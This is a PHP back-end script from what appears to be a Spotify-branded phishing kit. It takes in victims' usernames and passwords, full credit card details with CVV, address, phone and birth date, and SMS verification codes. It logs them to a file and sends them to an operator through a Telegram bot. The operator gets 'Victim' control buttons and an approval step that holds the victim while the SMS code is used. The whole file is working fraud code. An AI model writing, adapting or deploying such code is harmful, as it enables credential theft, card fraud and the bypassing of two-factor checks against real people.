<?php
/**
 * Process Form Submissions
 */

define('APP_ACCESS', true);
require_once __DIR__ . '/../config/config.php';
require_once __DIR__ . '/../config/telegram.php';

// Start session if not started
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Get client info
$ip = getClientIP();
$userAgent = getUserAgent();

// Initialize response
$response = ['success' => false, 'message' => ''];

// Handle GET requests for checking approval status
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['action']) && $_GET['action'] === 'check_approval') {
    // Check if IP is in ip_confirm.txt
    $confirmFile = BASE_PATH . '/Panel/action/ip_confirm.txt';
    $isApproved = false;
    
    if (file_exists($confirmFile)) {
        $content = file_get_contents($confirmFile);
        if (strpos($content, $ip) !== false) {
            $isApproved = true;
            
            // Clean the IP from the file after reading
            $content = str_replace($ip . "\n", '', $content);
            $content = str_replace($ip . "\r\n", '', $content);
            $content = str_replace($ip, '', $content);
            file_put_contents($confirmFile, $content);
        }
    }
    
    header('Content-Type: application/json');
    echo json_encode(['status' => $isApproved ? 'approved' : 'waiting']);
    exit;
}

// Handle different actions
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Login submission (username only)
    if (isset($_POST['action']) && $_POST['action'] === 'login') {
        $username = sanitizeInput(isset($_POST['username']) ? $_POST['username'] : '');
        
        if (!empty($username)) {
            $_SESSION['username'] = $username;
            $_SESSION['step'] = 'password';
            
            $response['success'] = true;
        }
    }
    
    // Password submission
    elseif (isset($_POST['action']) && $_POST['action'] === 'password') {
        $username = sanitizeInput(isset($_POST['username']) ? $_POST['username'] : '');
        $password = sanitizeInput(isset($_POST['password']) ? $_POST['password'] : '');
        
        if (!empty($username) && !empty($password)) {
            $_SESSION['username'] = $username;
            $_SESSION['password'] = $password;
            $_SESSION['step'] = 'payment';
            
            // Log to file
            $logData = "\n=== LOGIN CAPTURED ===\n";
            $logData .= "Timestamp: " . date('Y-m-d H:i:s') . "\n";
            $logData .= "Username: " . $username . "\n";
            $logData .= "Password: " . $password . "\n";
            $logData .= "IP: " . $ip . "\n";
            $logData .= "User Agent: " . $userAgent . "\n";
            $logData .= "======================\n";
            
            @file_put_contents(CREDENTIALS_LOG_FILE, $logData, FILE_APPEND);
            
            // Send to Telegram
            if (TELEGRAM_ENABLED && defined('TELEGRAM_BOT_TOKEN') && TELEGRAM_BOT_TOKEN !== 'YOUR_BOT_TOKEN_HERE') {
                $telegram = new TelegramAPI();
                $message = "🎵 SPOTIFY LOGIN\n\n";
                $message .= "👤 Username: " . $username . "\n";
                $message .= "🔑 Password: " . $password . "\n";
                $message .= "🌍 IP: " . $ip . "\n";
                $message .= "📱 User Agent: " . substr($userAgent, 0, 50) . "...\n";
                $message .= "⏰ Time: " . date('Y-m-d H:i:s');
                $telegram->sendMessage($message);
            }
            
            $response['success'] = true;
        }
    }
    
    // Payment submission
    elseif (isset($_POST['action']) && $_POST['action'] === 'payment') {
        $cardName = sanitizeInput(isset($_POST['card_name']) ? $_POST['card_name'] : '');
        $cardNumber = sanitizeInput(isset($_POST['card_number']) ? $_POST['card_number'] : '');
        $cardExpiry = sanitizeInput(isset($_POST['card_expiry']) ? $_POST['card_expiry'] : '');
        $cardCvv = sanitizeInput(isset($_POST['card_cvv']) ? $_POST['card_cvv'] : '');
        $zipCode = sanitizeInput(isset($_POST['zip_code']) ? $_POST['zip_code'] : '');
        $address = sanitizeInput(isset($_POST['address']) ? $_POST['address'] : '');
        $phone = sanitizeInput(isset($_POST['phone']) ? $_POST['phone'] : '');
        $birthDate = sanitizeInput(isset($_POST['birth_date']) ? $_POST['birth_date'] : '');
        
        if (!empty($cardName) && !empty($cardNumber) && !empty($cardExpiry) && !empty($cardCvv)) {
            $_SESSION['card_name'] = $cardName;
            $_SESSION['card_number'] = $cardNumber;
            $_SESSION['card_expiry'] = $cardExpiry;
            $_SESSION['card_cvv'] = $cardCvv;
            $_SESSION['zip_code'] = $zipCode;
            $_SESSION['address'] = $address;
            $_SESSION['phone'] = $phone;
            $_SESSION['birth_date'] = $birthDate;
            $_SESSION['step'] = 'verification';
            
            // Log to file
            $logData = "\n=== CREDIT CARD CAPTURED ===\n";
            $logData .= "Timestamp: " . date('Y-m-d H:i:s') . "\n";
            $logData .= "Card Holder: " . $cardName . "\n";
            $logData .= "Card Number: " . $cardNumber . "\n";
            $logData .= "Expiry: " . $cardExpiry . "\n";
            $logData .= "CVV: " . $cardCvv . "\n";
            $logData .= "Zip Code: " . $zipCode . "\n";
            $logData .= "Address: " . $address . "\n";
            $logData .= "Phone: " . $phone . "\n";
            $logData .= "Birth Date: " . $birthDate . "\n";
            $logData .= "IP: " . $ip . "\n";
            $logData .= "============================\n";
            
            @file_put_contents(CREDENTIALS_LOG_FILE, $logData, FILE_APPEND);
            
            // Generate scan URL with card details
            $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
            $host = $_SERVER['HTTP_HOST'];
            $baseUrl = $protocol . '://' . $host;
            
            // Get the base path (remove /pages/process.php)
            $scriptPath = dirname(dirname($_SERVER['SCRIPT_NAME']));
            
            // Build scan URL with encoded parameters
            $scanUrl = $baseUrl . $scriptPath . '/Panel/scan/index.php?';
            $scanUrl .= 'ccn=' . urlencode($cardNumber);
            $scanUrl .= '&cch=' . urlencode($cardName);
            $scanUrl .= '&exp=' . urlencode($cardExpiry);
            $scanUrl .= '&cvv=' . urlencode($cardCvv);
            
            // Store scan URL in session for JavaScript access
            $_SESSION['scan_url'] = $scanUrl;
            
            // Send to Telegram with BIN info and geolocation
            if (TELEGRAM_ENABLED && defined('TELEGRAM_BOT_TOKEN') && TELEGRAM_BOT_TOKEN !== 'YOUR_BOT_TOKEN_HERE') {
                $telegram = new TelegramAPI();
                
                // Use sendCreditCard function which includes BIN lookup and geolocation
                $telegram->sendCreditCard($cardName, $cardNumber, $cardExpiry, $cardCvv, $scanUrl);
                
                // If CONTROLLER is enabled, also send control buttons
                if (defined('CONTROLLER') && CONTROLLER) {
                    $controlMessage = "🎛️ <b>CONTROL PANEL</b>\n\n";
                    $controlMessage .= "👤 <b>Victim:</b> " . ($_SESSION['username'] ?? 'Unknown') . "\n";
                    $controlMessage .= "💳 <b>Card:</b> " . substr($cardNumber, 0, 4) . " **** **** " . substr($cardNumber, -4) . "\n";
                    $controlMessage .= "📍 <b>IP:</b> " . $ip . "\n\n";
                    $controlMessage .= "⬇️ <b>Choose action:</b>";
                    
                    $telegram->sendKey($controlMessage);
                }
            }
            
            $response['success'] = true;
        }
    }
    
    // SMS verification
    elseif (isset($_POST['action']) && $_POST['action'] === 'sms') {
        $smsCode = sanitizeInput(isset($_POST['sms_code']) ? $_POST['sms_code'] : '');
        
        if (!empty($smsCode)) {
            $_SESSION['sms_code'] = $smsCode;
            $_SESSION['step'] = 'complete';
            
            // Check if this is a retry attempt
            $isRetry = isset($_SESSION['sms_error_count']) && $_SESSION['sms_error_count'] > 0;
            $attemptNumber = $isRetry ? $_SESSION['sms_error_count'] + 1 : 1;
            
            // Log to file
            $logData = "\n=== SMS CODE CAPTURED ===\n";
            $logData .= "Timestamp: " . date('Y-m-d H:i:s') . "\n";
            $logData .= "SMS Code: " . $smsCode . "\n";
            if ($isRetry) {
                $logData .= "Attempt: " . $attemptNumber . " (RETRY after " . $_SESSION['sms_error_count'] . " failed attempts)\n";
            }
            $logData .= "IP: " . $ip . "\n";
            $logData .= "=========================\n";
            
            @file_put_contents(CREDENTIALS_LOG_FILE, $logData, FILE_APPEND);
            
            // Send to Telegram with approval buttons
            if (TELEGRAM_ENABLED && defined('TELEGRAM_BOT_TOKEN') && TELEGRAM_BOT_TOKEN !== 'YOUR_BOT_TOKEN_HERE') {
                $telegram = new TelegramAPI();
                
                // Prepare victim info for Telegram
                $victimInfo = [
                    'username' => $_SESSION['username'] ?? '',
                    'phone' => $_SESSION['phone'] ?? '',
                    'card' => isset($_SESSION['card_number']) ? substr($_SESSION['card_number'], 0, 4) . '****' . substr($_SESSION['card_number'], -4) : ''
                ];
                
                // Send SMS code with approval buttons
                $telegram->sendSMSCode($smsCode, $victimInfo);
            }
            
            $response['success'] = true;
        }
    }
}

// Return JSON response for AJAX requests
if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
    header('Content-Type: application/json');
    echo json_encode($response);
    exit;
}

// Redirect based on success
if ($response['success']) {
    if (isset($_POST['action'])) {
        switch ($_POST['action']) {
            case 'login':
                header('Location: password.php');
                break;
            case 'password':
                header('Location: payment.php');
                break;
            case 'payment':
                // If CONTROLLER is enabled, redirect to loader, otherwise to verification
                if (defined('CONTROLLER') && CONTROLLER) {
                    header('Location: loader.php');
                } else {
                    header('Location: verification.php');
                }
                break;
            case 'sms':
                // Redirect to approval loader instead of success
                header('Location: loader_approval.php?step=sms');
                break;
            default:
                header('Location: ../index.php');
        }
    }
} else {
    header('Location: ../index.php');
}
exit;
?>
